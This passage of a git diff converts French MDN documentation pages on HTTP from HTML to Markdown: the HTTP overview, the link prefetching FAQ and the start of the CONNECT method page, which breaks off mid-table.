projet conçu pour aider les développeuses et développeurs, les administratrices et administrateurs système ainsi que les professionnels de la sécurité à configurer leur site de manière sûre et sécurisée.</p> - </dd> - <dt><a href="https://redbot.org/">RedBot</a></dt> - <dd>Des outils pour vérifier vos en-têtes liés à la gestion du cache.</dd> - <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt> - <dd>Un article détaillé sur le fonctionnement d'un navigateur et l'organisation des requêtes HTTP durant la navigation.</dd> -</dl> +{{HTTPSidebar}} + +**_<i lang="en">Hypertext Transfer Protocol</i> (HTTP) (ou protocole de transfert hypertexte en français)_** est un protocole de [la couche application](https://fr.wikipedia.org/wiki/Couche_application) servant à transmettre des documents hypermédias, comme HTML. Il a été conçu la communication entre les navigateurs web et les serveurs web mais peut également être utilisé à d'autres fins. Il suit le modèle classique [client-serveur](https://fr.wikipedia.org/wiki/Client-serveur) : un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un [protocole sans état](https://fr.wikipedia.org/wiki/Protocole_sans_%C3%A9tat), ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes. + +## Tutoriels + +Apprenez comment utiliser HTTP avec des guides et des tutoriels. + +- [Aperçu du protocole HTTP](/fr/docs/Web/HTTP/Overview) + - : Les fonctionnalités de base de ce protocole client-serveur : ce qui est permis par HTTP ainsi que le cadre d'utilisation de ce protocole. +- [Mise en cache avec HTTP](/fr/docs/Web/HTTP/Caching) + - : La mise en cache est critique pour permettre aux sites web d'être rapides. Cet article décrit les différentes méthodes de mise en cache et l'utilisation des en-têtes HTTP afin de contrôler le cache. +- [Cookies HTTP](/fr/docs/Web/HTTP/Cookies) + - : Le fonctionnement des cookies est décrit dans la [RFC 6265](https://tools.ietf.org/html/rfc6265). Lorsqu'un serveur répond à une requête HTTP, ce dernier peut envoyer un en-tête `Set-Cookie` avec la réponse. Le client retourne alors la valeur du cookie lors de chaque requête vers ce serveur via un en-tête `Cookie` dans la requête. Le cookie peut posséder une date d'expiration, être restreint à un domaine spécifique ou à un chemin d'accès donné. +- [<i lang="en">Cross-Origin Resource Sharing</i> (CORS ou partage des ressources entre différentes origines)](/fr/docs/Web/HTTP/CORS) + - : **Les requêtes HTTP cross-sites** sont des requêtes HTTP pour des ressources situées dans un **domaine différent** de celui dans lequel se situe la ressource qui effectue la requête. Par exemple, une page HTML d'un domaine A (`http://domainea.example/`) effectue une requête pour une image au sein du domaine B (`http://domaineb.foo/image.jpg`) à l'aide de la balise `img`. Les pages web actuelles effectuent souvent des requêtes cross-sites pour charger des éléments comme des feuilles de style CSS, des images, des scripts ou d'autres ressources. CORS permet aux développeuses et développeurs web de contrôler la façon dont leur site doit se comporter lorsqu'il reçoit des requêtes d'une autre origine. +- [Évolution du protocole HTTP](/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : Une brève description des changements qui ont eu lieu entre les toutes premières versions de HTTP, HTTP/2, HTTP/3 plus récent voire au-delà. +- [Guide de sécurité Mozilla pour le Web](https://wiki.mozilla.org/Security/Guidelines/Web_Security) + - : Une liste d'astuces visant à aider les équipes opérationnelles afin de créer des applications web mieux sécurisées (en anglais). +- [Les messages HTTP](/fr/docs/Web/HTTP/Messages) + - : Une description des types et structures de chaque message pour HTTP/1.x et HTTP/2. +- [Une session HTTP classique](/fr/docs/Web/HTTP/Session) + - : Un exemple et l'explication du déroulement d'une session HTTP classique. +- [Gestion des connexions en HTTP/1.x](/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : Un aperçu des trois modèles de gestion de connexion disponibles pour HTTP/1.x ainsi que leurs forces et faiblesses respectives. + +## Référence + +Naviguez dans la documentation détaillée de HTTP. + +- [En-têtes HTTP](/fr/docs/Web/HTTP/Headers) + - : Les messages d'en-tête HTTP sont utilisés pour décrire précisément la ressource ou le comportement du client ou du serveur. Un en-tête propriétaire sur mesure peut être ajouté en utilisant le préfixe `X-` ; d'autres en-têtes sont disponibles dans le [registre de l'IANA](https://www.iana.org/assignments/message-headers/perm-headers.html), dont le contenu original a été défini dans la [RFC 4229](https://tools.ietf.org/html/rfc4229). L'IANA maintient aussi un [registre des nouveaux messages d'en-tête HTTP qui sont proposés](https://www.iana.org/assignments/message-headers/prov-headers.html). +- [Méthodes de requête HTTP](/fr/docs/Web/HTTP/Methods) + - : Différentes opérations peuvent être effectuées avec HTTP : les plus connues [`GET`](/fr/docs/Web/HTTP/Methods/GET), [`POST`](/fr/docs/Web/HTTP/Methods/POST), mais aussi des requêtes comme [`OPTIONS`](/fr/docs/Web/HTTP/Methods/OPTIONS), [`DELETE`](/fr/docs/Web/HTTP/Methods/DELETE) ou [`TRACE`](/fr/docs/Web/HTTP/Methods/TRACE). +- [Codes de réponse HTTP](/fr/docs/Web/HTTP/Response_codes) + - : Les codes de réponses HTTP indiquent si une requête HTTP a été effectuée avec succès. Les réponses sont regroupées en cinq classes : les réponses informationnelles, les réponses de succès, les redirections, les erreurs client et les erreurs serveur. +- [Directives CSP](/fr/docs/Web/HTTP/Headers/Content-Security-Policy) + - : Les champs de l'en-tête de réponse [`Content-Security-Policy`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy) permettent aux administrateurs de contrôler les ressources accessibles pour un agent utilisateur au sein d'une page donnée. De manière générale, il s'agit de directives relatives à l'origine du serveur ainsi qu'aux points de terminaison des scripts. + +## Outils et ressources + +Outils utiles pour comprendre et déboguer HTTP. + +- [Les outils de développement de Firefox](/fr/docs/Tools) + - : [Moniteur réseau](/fr/docs/Tools/Network_Monitor) +- [Mozilla Observatory](https://observatory.mozilla.org/) + - : Un projet conçu pour aider les développeuses et développeurs, les administratrices et administrateurs système ainsi que les professionnels de la sécurité à configurer leur site de manière sûre et sécurisée. +- [RedBot](https://redbot.org/) + - : Des outils pour vérifier vos en-têtes liés à la gestion du cache. +- [How Browsers Work](https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/) + - : Un article détaillé sur le fonctionnement d'un navigateur et l'organisation des requêtes HTTP durant la navigation. diff --git a/files/fr/web/http/index/index.md b/files/fr/web/http/index/index.md index 0b2c522847..da1d0de1ff 100644 --- a/files/fr/web/http/index/index.md +++ b/files/fr/web/http/index/index.md @@ -6,10 +6,10 @@ tags: - Index translation_of: Web/HTTP/Index --- -<p>{{HTTPSidebar}}</p> +{{HTTPSidebar}} -<h2 id="Pages_MDN_HTTP">Pages MDN HTTP</h2> +## Pages MDN HTTP -<p>Cette page liste toutes les pages de MDN sur le HTTP avec leur résumé et balises.</p> +Cette page liste toutes les pages de MDN sur le HTTP avec leur résumé et balises. -<p>{{Index("fr/docs/Web/HTTP")}}</p> +{{Index("fr/docs/Web/HTTP")}} diff --git a/files/fr/web/http/link_prefetching_faq/index.md b/files/fr/web/http/link_prefetching_faq/index.md index a2e02a0876..c640d373d2 100644 --- a/files/fr/web/http/link_prefetching_faq/index.md +++ b/files/fr/web/http/link_prefetching_faq/index.md @@ -9,125 +9,111 @@ tags: translation_of: Web/HTTP/Link_prefetching_FAQ original_slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens --- -<h3 id="Qu.E2.80.99est_ce_que_le_pr.C3.A9chargement_de_liens_.3F">Qu’est ce que le préchargement de liens ?</h3> +### Qu’est ce que le préchargement de liens ? -<p>Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou<em> précharger</em> les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.</p> +Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou _précharger_ les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur. -<h3 id="Le_préchargement_fonctionne-t-il_avec_HTTPS">Le préchargement fonctionne-t-il avec HTTPS ?</h3> +### Le préchargement fonctionne-t-il avec HTTPS ? -<p>À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.</p> +À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé. -<h3 id="Quelles_sont_les_cibles_.C3.A0__pr.C3.A9charger_.3F">Quelles sont les cibles à précharger ?</h3> +### Quelles sont les cibles à précharger ? -<p>Le navigateur cherche soit une balise HTML <code>link</code>, soit un en-tête HTTP <code>Link:</code> avec un type de relation <code>next</code> ou <code>prefetch</code>. Ci-dessous, un exemple d’utilisation de la balise <code>link</code> :</p> +Le navigateur cherche soit une balise HTML `link`, soit un en-tête HTTP `Link:` avec un type de relation `next` ou `prefetch`. Ci-dessous, un exemple d’utilisation de la balise `link` : -<pre class="eval"><link rel="prefetch" href="/images/big.jpeg"> -</pre> + <link rel="prefetch" href="/images/big.jpeg"> -<p>La même cible à précharger, cette fois avec un en-tête HTTP <code>Link:</code> :</p> +La même cible à précharger, cette fois avec un en-tête HTTP `Link:` : -<pre class="eval">Link: </images/big.jpeg>; rel=prefetch -</pre> + Link: </images/big.jpeg>; rel=prefetch -<p>L’en-tête <code>Link:</code> peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML <code>meta</code> :</p> +L’en-tête `Link:` peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML `meta` : -<pre class="eval"><meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch"> -</pre> + <meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch"> -<p>Le format pour l’en-tête <code>Link:</code>est décrit dans le <a class="external" href="http://tools.ietf.org/html/rfc2068">RFC 2068</a> section 19.6.2.4.</p> +Le format pour l’en-tête `Link:`est décrit dans le [RFC 2068](http://tools.ietf.org/html/rfc2068) section 19.6.2.4. -<div class="note"> - <p><strong>Note :</strong> Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente <a class="external" href="http://tools.ietf.org/html/rfc2616">RFC 2616</a> ne décrit pas l’en-tête <code>Link:</code>. Bien que les en-têtes <code>Link:</code> ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.</p> -</div> +> **Note :** Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente [RFC 2616](http://tools.ietf.org/html/rfc2616) ne décrit pas l’en-tête `Link:`. Bien que les en-têtes `Link:` ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici. -<p>Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.</p> +Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes. -<p>Quelques exemples en plus, ci-dessous :</p> +Quelques exemples en plus, ci-dessous : -<pre class="eval"><link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> -<link rel="next" href="2.html"> -</pre> + <link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> + <link rel="next" href="2.html"> -<h3 id="Les_balises_ancres_.28.3Ca.3E.29_sont-elles_pr.C3.A9charg.C3.A9es_.3F">Les balises ancres (<a>) sont-elles préchargées ?</h3> +### Les balises ancres (\<a>) sont-elles préchargées ? -<p>Non, seulement les balises <code><link></code> avec une relation de type <code>next</code> ou <code>prefetch</code> sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises <a>, lesquelles devront inclure un type de relation <code>next</code> ou <code>prefetch</code>. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.</p> +Non, seulement les balises `<link>` avec une relation de type `next` ou `prefetch` sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises \<a>, lesquelles devront inclure un type de relation `next` ou `prefetch`. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts. -<h3 id="Le_pr.C3.A9chargement_de_liens_est-il_respectueux_des_standards_.3F">Le préchargement de liens est-il respectueux des standards ?</h3> +### Le préchargement de liens est-il respectueux des standards ? -<p>Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (<a class="external" href="http://www.la-grange.net/w3c/html4.01/types.html#h-6.12">Section 6.12: types de liens (fr)</a>). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.</p> +Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens ([Section 6.12: types de liens (fr)](http://www.la-grange.net/w3c/html4.01/types.html#h-6.12)). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours. -<h3 id="Comment_le_temps_disponible_du_navigateur_est-il_d.C3.A9termin.C3.A9_.3F">Comment le temps disponible du navigateur est-il déterminé ?</h3> +### Comment le temps disponible du navigateur est-il déterminé ? -<p>Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API <code>nsIWebProgressListener</code>. On attache un écouteur à l’objet de haut-niveau <code>nsIWebProgress</code> ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire <code>onLoad</code> se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.</p> +Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API `nsIWebProgressListener`. On attache un écouteur à l’objet de haut-niveau `nsIWebProgress` ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire `onLoad` se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger. -<h3 id="Que_se_passe-t-il_si_je_clique_sur_un_lien_pendant_un_pr.C3.A9chargement_.3F">Que se passe-t-il si je clique sur un lien pendant un préchargement ?</h3> +### Que se passe-t-il si je clique sur un lien pendant un préchargement ? -<p>Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type <code>Accept-Ranges: bytes</code>. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.</p> +Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type `Accept-Ranges: bytes`. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range. -<h3 id="Si_je_t.C3.A9l.C3.A9charge_quelque-chose_en_t.C3.A2che_de_fond_.3F_Le_pr.C3.A9chargement_de_liens_viendra-t-il_en_concurrence_pour_la_bande_passante_.3F">Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?</h3> +### Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ? -<p>Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.</p> +Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau. -<h3 id="Existe-t-il_des_restrictions_sur_ce_qui_peut_.C3.AAtre_pr.C3.A9charg.C3.A9_.3F">Existe-t-il des restrictions sur ce qui peut être préchargé ?</h3> +### Existe-t-il des restrictions sur ce qui peut être préchargé ? -<p>Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise <link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type <code>rel=prefetch</code>, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.</p> +Oui, uniquement les URL http\:// (et, à partir de {{ Gecko("1.9.1") }}, https\://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise \<link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type `rel=prefetch`, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées. -<h3 id="Mozilla_peut-il_pr.C3.A9charger_un_document_d.E2.80.99un_h.C3.B4te_diff.C3.A9rent_.3F">Mozilla peut-il précharger un document d’un hôte différent ?</h3> +### Mozilla peut-il précharger un document d’un hôte différent ? -<p>Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.</p> +Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur. -<h3 id="Les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es_contiennent-elles_un_en-t.C3.AAte_Referer:_.3F">Les requêtes préchargées contiennent-elles un en-tête <code>Referer:</code> ?</h3> +### Les requêtes préchargées contiennent-elles un en-tête `Referer:` ? -<p>Oui, les requêtes préchargées incluent une entête HTTP <code>Referer:</code> qui indique le document duquel la cible de préchargement a été extraite.</p> +Oui, les requêtes préchargées incluent une entête HTTP `Referer:` qui indique le document duquel la cible de préchargement a été extraite. -<p>Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un <code>href</code> vers le document préchargé en spécifiant un en-tête de réponse HTTP <code>Cache-control: must-revalidate</code>. Cet en-tête permet la mise en cache mais requiert une requête de validation <code>If-Modified-Since</code> ou <code>If-None-Match</code> pour que le document soit servi à partir du cache du navigateur.</p> +Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un `href` vers le document préchargé en spécifiant un en-tête de réponse HTTP `Cache-control: must-revalidate`. Cet en-tête permet la mise en cache mais requiert une requête de validation `If-Modified-Since` ou `If-None-Match` pour que le document soit servi à partir du cache du navigateur. -<h3 id="En_tant_qu.27administrateur_serveur.2C_puis-je_distinguer_les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es.2C_des_requ.C3.AAtes_normales_.3F">En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?</h3> +### En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ? -<p>Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :</p> +Oui, l'en-tête suivant est envoyé avec chaque requête préchargée : -<pre class="eval"> X-moz: prefetch -</pre> + X-moz: prefetch -<p>Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.</p> +Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla. -<h3 id="Existe-t-il_une_pr.C3.A9f.C3.A9rence_pour_d.C3.A9sactiver_le_pr.C3.A9chargement_de_liens_.3F">Existe-t-il une préférence pour désactiver le préchargement de liens ?</h3> +### Existe-t-il une préférence pour désactiver le préchargement de liens ? -<p>Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via <code>about:config</code>) :</p> +Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via `about:config`) : -<pre class="eval"> user_pref("network.prefetch-next", false); -</pre> + user_pref("network.prefetch-next", false); -<p>Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.</p> +Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence. -<h3 id="Et_pour_les_gens_qui_payent_.C3.A0_la_bande_passante_utilis.C3.A9e_.3F">Et pour les gens qui payent à la bande passante utilisée ?</h3> +### Et pour les gens qui payent à la bande passante utilisée ? -<p>En fait, il y a deux façons d'aborder ce problème :</p> +En fait, il y a deux façons d'aborder ce problème : -<ol> - <li>Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.</li> - <li>Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.</li> -</ol> +1. Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM. +2. Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement. -<p>Il est important que les sites web adoptent la balise <code><link></code> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <code><link></code> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <code><link></code> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.</p> +Il est important que les sites web adoptent la balise `<link>` pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise `<link>` donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise `<link>` encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut. -<h3 id="Quels_navigateurs_supportent_le_pr.C3.A9chargement_de_liens_.3F">Quels navigateurs supportent le préchargement de liens ?</h3> +### Quels navigateurs supportent le préchargement de liens ? -<p>Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. <a class="external" href="http://gemal.dk/browserspy/prefetch.php">Testez</a> votre navigateur pour vérifier s'il supporte le préchargement de liens.</p> +Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. [Testez](http://gemal.dk/browserspy/prefetch.php) votre navigateur pour vérifier s'il supporte le préchargement de liens. -<h3 id="D.27autres_questions_.3F">D'autres questions ?</h3> +### D'autres questions ? -<p>Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)</p> +Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-) -<h4 id="Voir_.C3.A9galement">Voir également</h4> +#### Voir également -<ul> - <li><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints (en)</a></li> -</ul> +- [Prefetching Hints (en)](http://www.edochan.com/programming/pf.htm) -<h3 id="Informations_sur_le_document_original">Informations sur le document original</h3> +### Informations sur le document original -<ul> - <li>Auteur(s) :Darin Fisher (darin at meer dot net)</a></li> - <li>Date de dernière mise à jour : 3 mars 2003</li> -</ul> +- Auteur(s) :Darin Fisher (darin at meer dot net) +- Date de dernière mise à jour : 3 mars 2003 diff --git a/files/fr/web/http/methods/connect/index.md b/files/fr/web/http/methods/connect/index.md index 08e8ec6a12..961b30019e 100644 --- a/files/fr/web/http/methods/connect/index.md +++ b/files/fr/web/http/methods/connect/index.md @@ -8,78 +8,72 @@ tags: translation_of: Web/HTTP/Methods/CONNECT original_slug: Web/HTTP/Méthode/CONNECT --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP <code>CONNECT</code></strong> crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.</p> +La **méthode HTTP `CONNECT`** crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel. -<p>Par exemple, la méthode <code>CONNECT</code> peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.</p> +Par exemple, la méthode `CONNECT` peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client. -<p><code>CONNECT</code> est une méthode "saut-par-saut".</p> +`CONNECT` est une méthode "saut-par-saut". <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête a un corps</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">Une réponse de succès a un corps</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Sûre")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotente")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Peut être mise en cache")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Autorisée dans les <a 